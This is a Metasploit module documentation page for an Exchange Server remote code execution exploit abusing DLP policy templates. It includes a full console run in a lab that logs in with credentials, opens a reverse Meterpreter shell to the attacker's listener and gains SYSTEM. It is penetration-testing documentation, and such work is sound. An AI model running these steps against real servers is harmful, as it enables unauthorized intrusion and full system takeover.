Files
metasploit-gs/documentation/modules/exploit/windows/http/exchange_ecp_dlp_policy.md
T
William Vu e4fb76d74f Add version check to exchange_ecp_dlp_policy
And update modules/exploits/windows/http/sharepoint_ssi_viewstate.rb.
2020-10-20 14:32:43 -05:00

4.3 KiB

Vulnerable Application

Description

This vulnerability allows remote attackers to execute arbitrary code on affected installations of Exchange Server. Authentication is required to exploit this vulnerability. Additionally, the target user must have the Data Loss Prevention role assigned and an active mailbox.

If the user is in the Compliance Management or greater Organization Management role groups, then they have the Data Loss Prevention role. Since the user who installed Exchange is in the Organization Management role group, they transitively have the Data Loss Prevention role.

The specific flaw exists within the processing of the New-DlpPolicy cmdlet. The issue results from the lack of proper validation of user-supplied template data when creating a DLP policy. An attacker can leverage this vulnerability to execute code in the context of SYSTEM.

Tested against Exchange Server 2016 CU17 on Windows Server 2016.

Setup

Set up a vulnerable target.

Verification Steps

Follow Setup and Scenarios.

Targets

0

Exchange Server <= 2016 CU17 and 2019 CU6

Options

USERNAME

Set this to the OWA username.

PASSWORD

Set this to the OWA password.

Scenarios

Exchange Server 2016 CU17 on Windows Server 2016

msf6 > use exploit/windows/http/exchange_ecp_dlp_policy
[*] Using configured payload windows/x64/meterpreter/reverse_https
msf6 exploit(windows/http/exchange_ecp_dlp_policy) > options

Module options (exploit/windows/http/exchange_ecp_dlp_policy):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD                    no        OWA password
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      443              yes       The target port (TCP)
   SSL        true             no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       Base path
   USERNAME                    no        OWA username
   VHOST                       no        HTTP server virtual host


Payload options (windows/x64/meterpreter/reverse_https):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                      yes       The local listener hostname
   LPORT     8443             yes       The local listener port
   LURI                       no        The HTTP Path


Exploit target:

   Id  Name
   --  ----
   0   Exchange Server <= 2016 CU17 and 2019 CU6


msf6 exploit(windows/http/exchange_ecp_dlp_policy) > set rhosts 192.168.123.178
rhosts => 192.168.123.178
msf6 exploit(windows/http/exchange_ecp_dlp_policy) > set username Administrator
username => Administrator
msf6 exploit(windows/http/exchange_ecp_dlp_policy) > set password Passw0rd!
password => Passw0rd!
msf6 exploit(windows/http/exchange_ecp_dlp_policy) > set lhost 192.168.123.1
lhost => 192.168.123.1
msf6 exploit(windows/http/exchange_ecp_dlp_policy) > run

[*] Started HTTPS reverse handler on https://192.168.123.1:8443
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable. Exchange Server 15.1.2044 is a vulnerable build.
[*] Logging in to OWA with creds Administrator:Passw0rd!
[+] Successfully logged in to OWA
[*] Retrieving ViewState from DLP policy creation page
[+] Successfully retrieved ViewState
[*] Creating custom DLP policy from malicious template
[*] DLP policy name: Abn Amro Corporate Finance Limited Data
[*] Powershell command length: 2472
[*] https://192.168.123.1:8443 handling request from 192.168.123.178; (UUID: jk8kdh8r) Staging x64 payload (201308 bytes) ...
[*] Meterpreter session 1 opened (192.168.123.1:8443 -> 192.168.123.178:28314) at 2020-10-20 14:30:05 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : WIN-G2PGASM3QFA
OS              : Windows 2016+ (10.0 Build 14393).
Architecture    : x64
System Language : en_US
Domain          : GIBSON
Logged On Users : 8
Meterpreter     : x64/windows
meterpreter >